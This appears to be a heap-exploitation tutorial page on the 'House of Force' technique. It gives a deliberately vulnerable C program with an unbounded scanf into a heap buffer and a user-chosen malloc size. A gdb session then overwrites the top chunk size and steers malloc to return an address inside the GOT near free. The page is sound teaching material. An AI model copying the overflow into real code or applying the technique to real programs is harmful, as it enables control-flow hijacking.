Excuse the ads! We need some help to keep our site up.

List


The House of Force

Conditions

Exploit plan

Example

Files

Source code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
	int size;
    char *buf1, *buf2, *buf3;
 
 	buf1 = malloc(256);
	printf("buf1 : ");
	scanf("%s",buf1);

	printf("Size : ");
	scanf("%d",&size);
	buf2 = malloc(size);

	printf("buf3 : ");
	buf3 = malloc(256);
	scanf("%s",buf3);

	free(buf3);
	free(buf2);
	free(buf1);
 
	return 0;
}

Exploit flow

Debugging

gdb-peda$ b *0x000000000040066f
Breakpoint 1 at 0x40066f
gdb-peda$ b *0x000000000040069c
Breakpoint 2 at 0x40069c
gdb-peda$ b *0x00000000004006be
Breakpoint 3 at 0x4006be
gdb-peda$ 
gdb-peda$ r
Starting program: /home/lazenca0x0/force 
buf1 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Breakpoint 1, 0x000000000040066f in main ()
gdb-peda$ x/40gx 0x602010 - 0x10
0x602000:	0x0000000000000000	0x0000000000000111
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x4141414141414141
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x4141414141414141
0x6020b0:	0x4141414141414141	0x4141414141414141
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4242424242424242
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ set * 0x602118 = 0xffffffff
gdb-peda$ set * 0x60211c = 0xffffffff
gdb-peda$ x/gx 0x602118
0x602118:	0xffffffffffffffff
gdb-peda$
gdb-peda$ c
Continuing.
Size : 1

Breakpoint 2, 0x000000000040069c in main ()
gdb-peda$ elfsymbol free
Detail symbol info
free@reloc = 0
free@plt = 0x4004e0
free@got = 0x601018
gdb-peda$ p/x 0x601018 - 0x10 - 0x602118 - 0x8
$1 = 0xffffeee8
gdb-peda$ set $rdi = 0xffffffffffffeee8
gdb-peda$ i r rdi
rdi            0xffffffffffffeee8	0xffffffffffffeee8
gdb-peda$ ni
0x00000000004006a1 in main ()
gdb-peda$ i r rax
rax            0x602120	0x602120
gdb-peda$ x/30gx 0x602120 - 0x10
0x602110:	0x4141414141414141	0xffffffffffffeef1
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/d 0xffffffffffffeee8
$2 = -4376
gdb-peda$ p/d 0xffffffffffffeef1
$3 = -4367
gdb-peda$ p/x -4376 + 0x602110 + 0x10 +0x8
$4 = 0x601010
gdb-peda$ p/x -4367 + 0x602110 - 0x1
$5 = 0x601000
gdb-peda$ c
Continuing.


Breakpoint 3, 0x00000000004006be in main ()
gdb-peda$ i r rax
rax            0x601010	0x601010
gdb-peda$ x/10gx 0x601010 - 0x10
0x601000:	0x0000000000600e28	0x0000000000000111
0x601010:	0x00007ffff7df0670	0x00000000004004e6
0x601020 <printf@got.plt>:	0x00007ffff7a65340	0x00007ffff7a32e50
0x601030 <__gmon_start__@got.plt>:	0x0000000000400516	0x00007ffff7a93a80
0x601040 <__isoc99_scanf@got.plt>:	0x00007ffff7a6ed10	0x0000000000000000
gdb-peda$ x/gx 0x601010 + 0x8
0x601018 <free@got.plt>:	0x00000000004004e6
gdb-peda$ 

Related information